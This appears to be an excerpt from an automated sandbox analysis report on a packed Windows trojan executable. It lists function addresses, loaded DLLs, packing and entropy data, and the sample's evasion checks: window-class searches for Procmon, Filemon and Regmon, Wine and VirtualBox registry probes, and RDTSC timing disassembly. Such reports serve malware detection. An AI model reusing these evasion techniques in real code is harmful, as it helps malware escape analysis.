Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D16E36	0_2_00D16E36
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D32E28	0_2_00D32E28
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D00FCF	0_2_00D00FCF
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D92F98	0_2_00D92F98
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D16F92	0_2_00D16F92
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D76F93	0_2_00D76F93
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DAEF91	0_2_00DAEF91
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DB6F90	0_2_00DB6F90
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CD0FAB	0_2_00CD0FAB
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CC8FA7	0_2_00CC8FA7
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CFEFA4	0_2_00CFEFA4
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D2CFA0	0_2_00D2CFA0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CE0FBB	0_2_00CE0FBB
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00C8EFB0	0_2_00C8EFB0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D40FA8	0_2_00D40FA8
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CD8F4C	0_2_00CD8F4C
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DECF5D	0_2_00DECF5D
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D84F5C	0_2_00D84F5C
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D60F5F	0_2_00D60F5F
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CDEF42	0_2_00CDEF42
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00C88F59	0_2_00C88F59
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00C52F50	0_2_00C52F50
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00C70F50	0_2_00C70F50
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D52F42	0_2_00D52F42
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D96F7C	0_2_00D96F7C
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DD8F71	0_2_00DD8F71
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DCCF72	0_2_00DCCF72
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00C7CF74	0_2_00C7CF74
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D0EF67	0_2_00D0EF67
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D46F1F	0_2_00D46F1F
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D24F06	0_2_00D24F06
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D2EF04	0_2_00D2EF04
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D58F03	0_2_00D58F03
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DE0F39	0_2_00DE0F39
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D80F33	0_2_00D80F33
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D28F24	0_2_00D28F24
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D950DA	0_2_00D950DA
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DC30D0	0_2_00DC30D0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D3D0C2	0_2_00D3D0C2
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DE10CA	0_2_00DE10CA
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D710C1	0_2_00D710C1
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CD50D5	0_2_00CD50D5
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D370C8	0_2_00D370C8
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CC90E9	0_2_00CC90E9
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CDB0EA	0_2_00CDB0EA
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00D5F0FD	0_2_00D5F0FD
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DDB0F5	0_2_00DDB0F5
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CE90F9	0_2_00CE90F9
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CE5084	0_2_00CE5084
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DD1090	0_2_00DD1090

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: String function: 00C64400 appears 65 times
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: String function: 00C58030 appears 44 times

Source: uZO96rXyWt.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: uZO96rXyWt.exe	Static PE information: Section: ZLIB complexity 0.9973980629280822
Source: uZO96rXyWt.exe	Static PE information: Section: jovwrsiu ZLIB complexity 0.9950291219502779

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@11/2

Source: C:\Users\user\Desktop\uZO96rXyWt.exe

Code function: 0_2_00C80C70 CoCreateInstance,

0_2_00C80C70

Source: C:\Users\user\Desktop\uZO96rXyWt.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: uZO96rXyWt.exe	Virustotal: Detection: 52%
Source: uZO96rXyWt.exe	ReversingLabs: Detection: 52%

Source: uZO96rXyWt.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\uZO96rXyWt.exe

File read: C:\Users\user\Desktop\uZO96rXyWt.exe

Jump to behavior

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: uZO96rXyWt.exe

Static file information: File size 1822720 > 1048576

Source: uZO96rXyWt.exe

Static PE information: Raw size of jovwrsiu is bigger than: 0x100000 < 0x194c00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\uZO96rXyWt.exe

Unpacked PE file: 0.2.uZO96rXyWt.exe.c50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jovwrsiu:EW;nhvsunat:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jovwrsiu:EW;nhvsunat:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: uZO96rXyWt.exe

Static PE information: real checksum: 0x1bf0a1 should be: 0x1befa8

Source: uZO96rXyWt.exe	Static PE information: section name:
Source: uZO96rXyWt.exe	Static PE information: section name: .idata
Source: uZO96rXyWt.exe	Static PE information: section name:
Source: uZO96rXyWt.exe	Static PE information: section name: jovwrsiu
Source: uZO96rXyWt.exe	Static PE information: section name: nhvsunat
Source: uZO96rXyWt.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CA866B push ebp; mov dword ptr [esp], ebx	0_2_00CA8674
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CA866B push 3A555E79h; mov dword ptr [esp], edx	0_2_00CA8995
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DBC0DA push ebx; mov dword ptr [esp], ecx	0_2_00DBC657
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DBC0DA push ecx; mov dword ptr [esp], edi	0_2_00DBC65B
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DBC0DA push 71E92222h; mov dword ptr [esp], eax	0_2_00DBC711
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAC0CD push edx; mov dword ptr [esp], eax	0_2_00CAC3B8
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CA60C4 push eax; mov dword ptr [esp], esp	0_2_00CA60CF
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00EB40FB push 01EF7E0Ah; mov dword ptr [esp], edi	0_2_00EB41C0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00EE20FE push ebp; mov dword ptr [esp], esp	0_2_00EE2A02
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAA0FE push ebx; mov dword ptr [esp], edi	0_2_00CABCEB
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAA08F push 783FE856h; mov dword ptr [esp], ebx	0_2_00CAA097
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_010D21A3 push edx; mov dword ptr [esp], 3AE73951h	0_2_010D21A4
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_010D21A3 push 55A82370h; mov dword ptr [esp], edi	0_2_010D21C9
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CA607D push eax; mov dword ptr [esp], edi	0_2_00CA609C
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CA6006 push edi; mov dword ptr [esp], ebp	0_2_00CA601D
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00E36032 push ecx; mov dword ptr [esp], 3566C137h	0_2_00E3605A
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAE01E push ecx; mov dword ptr [esp], ebp	0_2_00CAAE34
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00EC01FD push 3DD85AADh; mov dword ptr [esp], esi	0_2_00EC027F
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CA61D4 push 0A8FD995h; mov dword ptr [esp], ecx	0_2_00CA65FD
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAC18E push 27557913h; mov dword ptr [esp], esi	0_2_00CAC1A8
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CA61BB push ebp; mov dword ptr [esp], 0932B301h	0_2_00CA61C5
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAA14E push 4DD40711h; mov dword ptr [esp], eax	0_2_00CAEE5D
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAA14E push 59E44574h; mov dword ptr [esp], ebp	0_2_00CAF016
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAC142 push 59A85858h; mov dword ptr [esp], esi	0_2_00CAC14D
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAA157 push edi; mov dword ptr [esp], 4EF7CEE6h	0_2_00CAA15B
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAA157 push 7B05083Ch; mov dword ptr [esp], ecx	0_2_00CAA16A
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAA157 push eax; mov dword ptr [esp], esp	0_2_00CAA16E
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAA157 push 10B8CF3Fh; mov dword ptr [esp], edx	0_2_00CADDFB
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAA157 push ecx; mov dword ptr [esp], 52E51115h	0_2_00CAE12A
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00CAA157 push 573C8BA4h; mov dword ptr [esp], eax	0_2_00CAE13B
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 0_2_00DC0176 push 0566B1E3h; mov dword ptr [esp], eax	0_2_00DC069A

Source: uZO96rXyWt.exe	Static PE information: section name: entropy: 7.983740598243191
Source: uZO96rXyWt.exe	Static PE information: section name: jovwrsiu entropy: 7.954085766789101

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: CA8093 second address: CA8097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: CA8097 second address: CA809B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E1F944 second address: E1F94A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E1F94A second address: E1F959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007F3C24EA6E46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E1F959 second address: E1F95D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E1F95D second address: E1F96A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E1F96A second address: E1F96E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E1F96E second address: E1F974 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E1F974 second address: E1F97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E1F97A second address: E1F984 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3C24EA6E4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E21AE7 second address: E21B01 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3C25696DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F3C25696DA8h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E21B01 second address: E21B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E21B05 second address: E21B0B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E21B0B second address: E21B37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jnl 00007F3C24EA6E48h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E21CC6 second address: E21CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E21CCC second address: E21CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E21CD0 second address: E21D21 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3C25696DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F3C25696DB1h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push edx 0x00000018 pushad 0x00000019 jbe 00007F3C25696DA6h 0x0000001f push edi 0x00000020 pop edi 0x00000021 popad 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 pushad 0x00000028 pushad 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b jmp 00007F3C25696DB5h 0x00000030 popad 0x00000031 push eax 0x00000032 push edx 0x00000033 push edi 0x00000034 pop edi 0x00000035 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E21E07 second address: E21E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E21E0C second address: E21E52 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007F3C25696DA6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov ecx, 4ACBC820h 0x00000012 add dword ptr [ebp+122D1C39h], ebx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F3C25696DA8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 mov cx, E9F4h 0x00000038 push A289C14Ah 0x0000003d pushad 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E21E52 second address: E21EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jp 00007F3C24EA6E46h 0x0000000e jmp 00007F3C24EA6E50h 0x00000013 popad 0x00000014 popad 0x00000015 add dword ptr [esp], 5D763F36h 0x0000001c add dword ptr [ebp+122D31CAh], esi 0x00000022 push 00000003h 0x00000024 jmp 00007F3C24EA6E51h 0x00000029 push 00000000h 0x0000002b mov cx, ax 0x0000002e push 00000003h 0x00000030 xor dword ptr [ebp+122D2772h], esi 0x00000036 push 9D4D0803h 0x0000003b pushad 0x0000003c push ebx 0x0000003d push edi 0x0000003e pop edi 0x0000003f pop ebx 0x00000040 jmp 00007F3C24EA6E50h 0x00000045 popad 0x00000046 xor dword ptr [esp], 5D4D0803h 0x0000004d mov si, A203h 0x00000051 lea ebx, dword ptr [ebp+1244DA63h] 0x00000057 mov edi, dword ptr [ebp+122D2A26h] 0x0000005d xchg eax, ebx 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 jne 00007F3C24EA6E46h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E21EDB second address: E21EE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E2201B second address: E2201F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E348EA second address: E34901 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007F3C25696DA6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F3C25696DA8h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E0AEA2 second address: E0AEAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E405D4 second address: E405FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 je 00007F3C25696DACh 0x0000000d jmp 00007F3C25696DAFh 0x00000012 pushad 0x00000013 jnc 00007F3C25696DA6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E40A16 second address: E40A1C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E40A1C second address: E40A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E40A22 second address: E40A3E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jbe 00007F3C24EA6E46h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jne 00007F3C24EA6E46h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E40A3E second address: E40A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E40EB4 second address: E40EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E412D8 second address: E412E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F3C25696DA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E412E4 second address: E412E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E412E8 second address: E412EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
